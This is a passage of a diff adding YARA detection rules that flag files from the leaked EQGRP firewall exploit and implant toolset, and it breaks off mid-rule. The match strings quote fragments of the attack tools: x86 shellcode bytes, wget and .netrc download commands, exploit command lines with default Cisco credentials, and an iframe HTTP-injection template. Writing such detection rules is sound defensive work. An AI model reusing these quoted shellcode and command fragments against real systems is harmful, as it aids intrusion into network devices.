+		hash1 = "a9152e67f507c9a179bb8478b58e5c71c444a5a39ae3082e04820a0613cd6d9f"
+		id = "e741b727-0e41-53d0-832c-df7f4ea7964a"
+	strings:
+		$s1 = "%d - %d, %d" fullword ascii
+		$s2 = "%d - %lu.%lu %d.%lu" fullword ascii
+		$s3 = "%d - %d %d" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 60KB and all of them )
+}
+
+rule EQGRP_bc_parser {
+	meta:
+		description = "Detects tool from EQGRP toolset - file bc-parser"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		hash1 = "879f2f1ae5d18a3a5310aeeafec22484607649644e5ecb7d8a72f0877ac19cee"
+		id = "ed4523de-b126-503a-83bd-aafd8533b0e5"
+	strings:
+		$s1 = "*** Target may be susceptible to FALSEMOREL      ***" fullword ascii
+		$s2 = "*** Target is susceptible to FALSEMOREL          ***" fullword ascii
+	condition:
+		uint16(0) == 0x457f and 1 of them
+}
+
+rule EQGRP_1212 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file 1212.pl"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "428fed4f-df5c-5fc2-ac4b-4dea69ea4f2d"
+	strings:
+		$s1 = "if (!(($srcip,$dstip,$srcport,$dstport) = ($line=~/^([a-f0-9]{8})([a-f0-9]{8})([a-f0-9]{4})([a-f0-9]{4})$/)))" fullword ascii
+		$s2 = "$ans=\"$srcip:$srcport -> $dstip:$dstport\";" fullword ascii
+		$s3 = "return \"ERROR:$line is not a valid port\";" fullword ascii
+		$s4 = "$dstport=hextoPort($dstport);" fullword ascii
+		$s5 = "sub hextoPort" fullword ascii
+		$s6 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+	condition:
+		filesize < 6KB and 4 of them
+}
+
+rule EQGRP_1212_dehex {
+	meta:
+		description = "Detects tool from EQGRP toolset - from files 1212.pl, dehex.pl"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		id = "2cc375e6-2bff-5623-b86c-a6413f736c42"
+	strings:
+		$s1 = "return \"ERROR:$line is not a valid address\";" fullword ascii
+		$s2 = "print \"ERROR: the filename or hex representation needs to be one argument try using \\\"'s\\n\";" fullword ascii
+		$s3 = "push(@octets,$byte_table{$tempi});" fullword ascii
+		$s4 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+		$s5 = "print hextoIP($ARGV[0]);" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 6KB and ( 5 of ($s*) ) ) or ( all of them )
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-16
+	Identifier: EQGRP
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule install_get_persistent_filenames {
+	meta:
+		description = "EQGRP Toolset Firewall - file install_get_persistent_filenames"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4a50ec4bf42087e932e9e67e0ea4c09e52a475d351981bb4c9851fda02b35291"
+		id = "cf74b479-4b78-537a-878c-2f3ce004b775"
+	strings:
+		$s1 = "Generates the persistence file name and prints it out." fullword ascii
+	condition:
+		( uint16(0) == 0x457f and all of them )
+}
+
+rule EQGRP_create_dns_injection {
+	meta:
+		description = "EQGRP Toolset Firewall - file create_dns_injection.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "488f3cc21db0688d09e13eb85a197a1d37902612c3e302132c84e07bc42b1c32"
+		id = "ef358ca6-ebd8-5d08-944b-f1fcd112f1f3"
+	strings:
+		$s1 = "Name:   A hostname: 'host.network.com', a decimal numeric offset within" fullword ascii
+		$s2 = " www.badguy.net,CNAME,1800,host.badguy.net \\\\" ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_screamingplow {
+	meta:
+		description = "EQGRP Toolset Firewall - file screamingplow.sh"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "c7f4104c4607a03a1d27c832e1ebfc6ab252a27a1709015b5f1617b534f0090a"
+		id = "cb535ef0-e3ea-54cc-9082-3d63cc96d93a"
+	strings:
+		$s1 = "What is the name of your PBD:" fullword ascii
+		$s2 = "You are now ready for a ScreamPlow" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_MixText {
+	meta:
+		description = "EQGRP Toolset Firewall - file MixText.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "e4d24e30e6cc3a0aa0032dbbd2b68c60bac216bef524eaf56296430aa05b3795"
+		id = "99b06100-8a05-5c22-8b7d-ed451d5f4e81"
+	strings:
+		$s1 = "BinStore enabled implants." fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_tunnel_state_reader {
+	meta:
+		description = "EQGRP Toolset Firewall - file tunnel_state_reader"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "49d48ca1ec741f462fde80da68b64dfa5090855647520d29e345ef563113616c"
+		id = "e48c9482-eae5-5c34-b7b2-502d0252f4a0"
+	strings:
+		$s1 = "Active connections will be maintained for this tunnel. Timeout:" fullword ascii
+		$s5 = "%s: compatible with BLATSTING version 1.2" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_payload {
+	meta:
+		description = "EQGRP Toolset Firewall - file payload.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "21bed6d699b1fbde74cbcec93575c9694d5bea832cd191f59eb3e4140e5c5e07"
+		id = "949cb68b-e384-578c-a906-a4d9234dc668"
+	strings:
+		$s1 = "can't find target version module!" fullword ascii
+		$s2 = "class Payload:" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_eligiblecandidate {
+	meta:
+		description = "EQGRP Toolset Firewall - file eligiblecandidate.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "c4567c00734dedf1c875ecbbd56c1561a1610bedb4621d9c8899acec57353d86"
+		id = "e084b051-4aa1-54b2-9f56-69db386b46d6"
+	strings:
+		$o1 = "Connection timed out. Only a problem if the callback was not received." fullword ascii
+		$o2 = "Could not reliably detect cookie. Using 'session_id'..." fullword ascii
+
+		$c1 = "def build_exploit_payload(self,cmd=\"/tmp/httpd\"):" fullword ascii
+		$c2 = "self.build_exploit_payload(cmd)" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BUSURPER_2211_724 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BUSURPER-2211-724.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "d809d6ff23a9eee53d2132d2c13a9ac5d0cb3037c60e229373fc59a4f14bc744"
+		id = "d109210e-14df-5b90-a496-fa8a2454126b"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "_start_text" ascii
+		$s3 = "IMPLANT" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "upgrade_implant" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_networkProfiler_orderScans {
+	meta:
+		description = "EQGRP Toolset Firewall - file networkProfiler_orderScans.sh"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ea986ddee09352f342ac160e805312e3a901e58d2beddf79cd421443ba8c9898"
+		id = "2d48df0c-f950-5bb6-8d3e-77c2f970eb57"
+	strings:
+		$x1 = "Unable to save off predefinedScans directory" fullword ascii
+		$x2 = "Re-orders the networkProfiler scans so they show up in order in the LP" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_epicbanana_2_1_0_1 {
+	meta:
+		description = "EQGRP Toolset Firewall - file epicbanana_2.1.0.1.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4b13cc183c3aaa8af43ef3721e254b54296c8089a0cd545ee3b867419bb66f61"
+		id = "cc3346bd-0347-5cf3-b946-5c017d68d93e"
+	strings:
+		$s1 = "failed to create version-specific payload" fullword ascii
+		$s2 = "(are you sure you did \"make [version]\" in versions?)" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_sniffer_xml2pcap {
+	meta:
+		description = "EQGRP Toolset Firewall - file sniffer_xml2pcap"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f5e5d75cfcd86e5c94b0e6f21bbac886c7e540698b1556d88a83cc58165b8e42"
+		id = "c284ac58-923c-5c34-b420-e87797915233"
+	strings:
+		$x1 = "-s/--srcip <sourceIP>  Use given source IP (if sniffer doesn't collect source IP)" fullword ascii
+		$x2 = "convert an XML file generated by the BLATSTING sniffer module into a pcap capture file." fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BananaAid {
+	meta:
+		description = "EQGRP Toolset Firewall - file BananaAid"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "7a4fb825e63dc612de81bc83313acf5eccaa7285afc05941ac1fef199279519f"
+		id = "bdd3ce51-1809-5b2f-9c7e-6c0b056d022b"
+	strings:
+		$x1 = "(might have to delete key in ~/.ssh/known_hosts on linux box)" fullword ascii
+		$x2 = "scp BGLEE-" ascii
+		$x3 = "should be 4bfe94b1 for clean bootloader version 3.0; " fullword ascii
+		$x4 = "scp <configured implant> <username>@<IPaddr>:onfig" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_bo {
+	meta:
+		description = "EQGRP Toolset Firewall - file bo"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "aa8b363073e8ae754b1836c30f440d7619890ded92fb5b97c73294b15d22441d"
+		id = "6aa71528-3ce6-5597-bb1a-e44cff3856d6"
+	strings:
+		$s1 = "ERROR: failed to open %s: %d" fullword ascii
+		$s2 = "__libc_start_main@@GLIBC_2.0" ascii
+		$s3 = "serial number: %s" fullword ascii
+		$s4 = "strerror@@GLIBC_2.0" fullword ascii
+		$s5 = "ERROR: mmap failed: %d" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 20KB and all of them )
+}
+
+rule EQGRP_SecondDate_2211 {
+	meta:
+		description = "EQGRP Toolset Firewall - file SecondDate-2211.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "2337d0c81474d03a02c404cada699cf1b86c3c248ea808d4045b86305daa2607"
+		id = "00951270-6189-58b6-8b64-422c4ab15ebe"
+	strings:
+		$s1 = "SD_processControlPacket" fullword ascii
+		$s2 = "Encryption_rc4SetKey" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "^GET.*(?:/ |\\.(?:htm|asp|php)).*\\r\\n" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 200KB and all of them )
+}
+
+rule EQGRP_config_jp1_UA {
+	meta:
+		description = "EQGRP Toolset Firewall - file config_jp1_UA.pl"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "2f50b6e9891e4d7fd24cc467e7f5cfe348f56f6248929fec4bbee42a5001ae56"
+		id = "947e6f90-4eb4-5241-9819-677cee0c15d8"
+	strings:
+		$x1 = "This program will configure a JETPLOW Userarea file." fullword ascii
+		$x2 = "Error running config_implant." fullword ascii
+		$x3 = "NOTE:  IT ASSUMES YOU ARE OPERATING IN THE INSTALL/LP/JP DIRECTORY. THIS ASSUMPTION " fullword ascii
+		$x4 = "First IP address for beacon destination [127.0.0.1]" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_userscript {
+	meta:
+		description = "EQGRP Toolset Firewall - file userscript.FW"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "5098ff110d1af56115e2c32f332ff6e3973fb7ceccbd317637c9a72a3baa43d7"
+		id = "c6c1b70e-437f-50e7-9055-b943a1a62e6c"
+	strings:
+		$x1 = "Are you sure? Don't forget that NETSCREEN firewalls require BANANALIAR!! " fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BBALL_M50FW08_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBALL_M50FW08-2201.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "80c0b68adb12bf3c15eff9db70a57ab999aad015da99c4417fdfd28156d8d3f7"
+		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "pageTable.c" fullword ascii
+		$s4 = "_start_text" ascii
+		$s5 = "handler_readBIOS" fullword ascii
+		$s6 = "KEEPGOING" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 5 of ($s*) )
+}
+
+rule EQGRP_BUSURPER_3001_724 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BUSURPER-3001-724.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "6b558a6b8bf3735a869365256f9f2ad2ed75ccaa0eefdc61d6274df4705e978b"
+		id = "006877e9-1e73-5a27-8b3a-bca3513a2035"
+	strings:
+		$s1 = "IMPLANT" fullword ascii
+		$s2 = "KEEPGOING" fullword ascii
+		$s3 = "upgrade_implant" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 200KB and 2 of them ) or ( all of them )
+}
+
+rule EQGRP_workit {
+	meta:
+		description = "EQGRP Toolset Firewall - file workit.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		modified = "2023-01-27"
+		hash1 = "fb533b4d255b4e6072a4fa2e1794e38a165f9aa66033340c2f4f8fd1da155fac"
+		id = "b582f990-5bd5-592d-a7c0-475fdfffc38c"
+	strings:
+		$s1 = "macdef init > /tmp/.netrc;" fullword ascii
+		$s2 = "/usr/bin/wget http://" ascii
+		$s3 = "HOME=/tmp ftp" fullword ascii
+		$s4 = " >> /tmp/.netrc;" fullword ascii
+		$s5 = "/usr/rapidstream/bin/tftp" fullword ascii
+		$s6 = "created shell_command:" fullword ascii
+		$s7 = "rm -f /tmp/.netrc;" fullword ascii
+		$s8 = "echo quit >> /tmp/.netrc;" fullword ascii
+		$s9 = "echo binary >> /tmp/.netrc;" fullword ascii
+		$s10 = "chmod 600 /tmp/.netrc;" fullword ascii
+		$s11 = "created cli_command:" fullword ascii
+	condition:
+		6 of them
+}
+
+rule EQGRP_tinyhttp_setup {
+	meta:
+		description = "EQGRP Toolset Firewall - file tinyhttp_setup.sh"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "3d12c83067a9f40f2f5558d3cf3434bbc9a4c3bb9d66d0e3c0b09b9841c766a0"
+		id = "71dcc48f-f551-5596-9f03-dbbae470a62b"
+	strings:
+		$x1 = "firefox http://127.0.0.1:8000/$_name" fullword ascii
+		$x2 = "What is the name of your implant:" fullword ascii /* it's called conscience */
+		$x3 = "killall thttpd" fullword ascii
+		$x4 = "copy http://<IP>:80/$_name flash:/$_name" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 2KB and 1 of ($x*) ) or ( all of them )
+}
+
+rule EQGRP_shellcode {
+	meta:
+		description = "EQGRP Toolset Firewall - file shellcode.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ac9decb971dd44127a6ca0d35ac153951f0735bb4df422733046098eca8f8b7f"
+		id = "d923c1de-c6eb-511f-ae1f-bf3ac6e0eae8"
+	strings:
+		$s1 = "execute_post = '\\xe8\\x00\\x00\\x00\\x00\\x5d\\xbe\\xef\\xbe\\xad\\xde\\x89\\xf7\\x89\\xec\\x29\\xf4\\xb8\\x03\\x00\\x00\\x00" ascii
+		$s2 = "tiny_exec = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00" ascii
+		$s3 = "auth_id = '\\x31\\xc0\\xb0\\x03\\x31\\xdb\\x89\\xe1\\x31\\xd2\\xb6\\xf0\\xb2\\x0d\\xcd\\x80\\x3d\\xff\\xff\\xff\\xff\\x75\\x07" ascii
+
+		$c1 = { e8 00 00 00 00 5d be ef be ad de 89 f7 89 ec 29 f4 b8 03 00 00 00 }
+		/* $c2 = { 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 03 00 01 00 00 }  too many fps */
+		$c3 = { 31 c0 b0 03 31 db 89 e1 31 d2 b6 f0 b2 0d cd 80 3d ff ff ff ff 75 07 }
+	condition:
+		1 of them
+}
+
+rule EQGRP_EPBA {
+	meta:
+		description = "EQGRP Toolset Firewall - file EPBA.script"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "53e1af1b410ace0934c152b5df717d8a5a8f5fdd8b9eb329a44d94c39b066ff7"
+		id = "5159c2f4-20b7-590d-b216-b3468c26e459"
+	strings:
+		$x1 = "./epicbanana_2.0.0.1.py -t 127.0.0.1 --proto=ssh --username=cisco --password=cisco --target_vers=asa804 --mem=NA -p 22 " fullword ascii
+		$x2 = "-t TARGET_IP, --target_ip=TARGET_IP -- Either 127.0.0.1 or Win Ops IP" fullword ascii
+		$x3 = "./bride-1100 --lp 127.0.0.1 --implant 127.0.0.1 --sport RHP --dport RHP" fullword ascii
+		$x4 = "--target_vers=TARGET_VERS    target Pix version (pix712, asa804) (REQUIRED)" fullword ascii
+		$x5 = "-p DEST_PORT, --dest_port=DEST_PORT defaults: telnet=23, ssh=22 (optional) - Change to LOCAL redirect port" fullword ascii
+		$x6 = "this operation is complete, BananaGlee will" fullword ascii
+		$x7 = "cd /current/bin/FW/BGXXXX/Install/LP" fullword ascii
+	condition:
+		( uint16(0) == 0x2023 and filesize < 7KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule EQGRP_BPIE {
+	meta:
+		description = "EQGRP Toolset Firewall - file BPIE-2201.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "697e80cf2595c85f7c931693946d295994c55da17a400f2c9674014f130b4688"
+		id = "a73f0216-3994-5ee6-8a8c-cbcc1279898e"
+	strings:
+		$s1 = "profProcessPacket" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "getTimeSlotCmdHandler" fullword ascii
+		$s4 = "getIpIpCmdHandler" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "profStartScan" fullword ascii
+		$s7 = "tmpData.1" fullword ascii
+		$s8 = "resetCmdHandler" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 70KB and 6 of ($s*) )
+}
+
+rule EQGRP_jetplow_SH {
+	meta:
+		description = "EQGRP Toolset Firewall - file jetplow.sh"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ee266f84a1a4ccf2e789a73b0a11242223ed6eba6868875b5922aea931a2199c"
+		id = "e7780540-29c9-5827-8ac0-a685d9ba8a5f"
+	strings:
+		$s1 = "cd /current/bin/FW/BANANAGLEE/$bgver/Install/LP/jetplow" fullword ascii
+		$s2 = "***** Please place your UA in /current/bin/FW/OPS *****" fullword ascii
+		$s3 = "ln -s ../jp/orig_code.bin orig_code_pixGen.bin" fullword ascii
+		$s4 = "*****             Welcome to JetPlow              *****" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BBANJO {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBANJO-3011.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f09c2f90464781a08436321f6549d350ecef3d92b4f25b95518760f5d4c9b2c3"
+		id = "81af4769-7007-51f1-9569-bc370618b4ff"
+	strings:
+		$s1 = "get_lsl_interfaces" fullword ascii
+		$s2 = "encryptFC4Payload" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "beacon_getconfig" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "FormBeaconPacket" fullword ascii
+		$s7 = "beacon_reconfigure" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 50KB and all of them )
+}
+
+rule EQGRP_BPATROL_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BPATROL-2201.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "aa892750b893033eed2fedb2f4d872f79421174eb217f0c34a933c424ae66395"
+		id = "864a346c-e8aa-5c66-9867-faccb14b8bee"
+	strings:
+		$s1 = "dumpConfig" fullword ascii
+		$s2 = "getstatusHandler" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "xtractdata" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and all of them )
+}
+
+rule EQGRP_extrabacon {
+	meta:
+		description = "EQGRP Toolset Firewall - file extrabacon_1.1.0.1.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "59d60835fe200515ece36a6e87e642ee8059a40cb04ba5f4b9cce7374a3e7735"
+		id = "79b998ef-e548-5038-b8ad-da1abf362e7f"
+	strings:
+		$x1 = "To disable password checking on target:" fullword ascii
+		$x2 = "[-] target is running" fullword ascii
+		$x3 = "[-] problem importing version-specific shellcode from" fullword ascii
+		$x4 = "[+] importing version-specific shellcode" fullword ascii
+		$s5 = "[-] unsupported target version, abort" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_sploit_py {
+	meta:
+		description = "EQGRP Toolset Firewall - file sploit.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"
+	strings:
+		$x1 = "the --spoof option requires 3 or 4 fields as follows redir_ip" ascii
+		$x2 = "[-] timeout waiting for response - target may have crashed" fullword ascii
+		$x3 = "[-] no response from health check - target may have crashed" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_uninstallPBD {
+	meta:
+		description = "EQGRP Toolset Firewall - file uninstallPBD.bat"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "692fdb449f10057a114cf2963000f52ce118d9a40682194838006c66af159bd0"
+		id = "0153cb2a-a0de-51f9-80c2-22136d56f16d"
+	strings:
+		$s1 = "memset 00e9a05c 4 38845b88" fullword ascii
+		$s2 = "_hidecmd" ascii
+		$s3 = "memset 013abd04 1 0d" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_BICECREAM {
+	meta:
+		description = "EQGRP Toolset Firewall - file BICECREAM-2140"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4842076af9ba49e6dfae21cf39847b4172c06a0bd3d2f1ca6f30622e14b77210"
+		id = "a10819ae-db48-5d30-8e2e-2e4fe33e005b"
+	strings:
+		$s1 = "Could not connect to target device: %s:%d. Please check IP address." fullword ascii
+		$s2 = "command data size is invalid for an exec cmd" fullword ascii
+		$s3 = "A script was specified but target is not a PPC405-based NetScreen (NS5XT, NS25, and NS50). Executing scripts is supported but ma" ascii
+		$s4 = "Execute 0x%08x with args (%08x, %08x, %08x, %08x): [y/n]" fullword ascii
+		$s5 = "Execute 0x%08x with args (%08x, %08x, %08x): [y/n]" fullword ascii
+		$s6 = "[%d] Execute code." fullword ascii
+		$s7 = "Execute 0x%08x with args (%08x): [y/n]" fullword ascii
+		$s8 = "dump_value_LHASH_DOALL_ARG" fullword ascii
+		$s9 = "Eggcode is complete. Pass execution to it? [y/n]" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 5000KB and 2 of them ) or ( 5 of them )
+}
+
+rule EQGRP_create_http_injection {
+	meta:
+		description = "EQGRP Toolset Firewall - file create_http_injection.py"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "de52f5621b4f3896d4bd1fb93ee8be827e71a2b189a9f8552b68baed062a992d"
+		id = "92b6dad0-c7d8-5522-8fc1-fbd0aae00960"
+	strings:
+		$x1 = "required by SECONDDATE" fullword ascii
+
+		$s1 = "help='Output file name (optional). By default the resulting data is written to stdout.')" fullword ascii
+		$s2 = "data = '<html><body onload=\"location.reload(true)\"><iframe src=\"%s\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"" ascii
+		$s3 = "version='%prog 1.0'," fullword ascii
+		$s4 = "usage='%prog [ ... options ... ] url'," fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 3KB and ( $x1 or 2 of them ) ) or ( all of them )
+}
+
+rule EQGRP_BFLEA_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BFLEA-2201.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "15e8c743770e44314496c5f27b6297c5d7a4af09404c4aa507757e0cc8edc79e"
+		id = "7dfdc2a2-73d1-5eba-8936-ed14b17495c5"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "readFlashHandler" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "flashRtnsPix6x.c" fullword ascii
+		$s6 = "fix_ip_cksum_incr" fullword ascii
+		$s7 = "writeFlashHandler" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 30KB and 5 of them ) or ( all of them )
+}
+
+rule EQGRP_BpfCreator_RHEL4 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BpfCreator-RHEL4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Research"
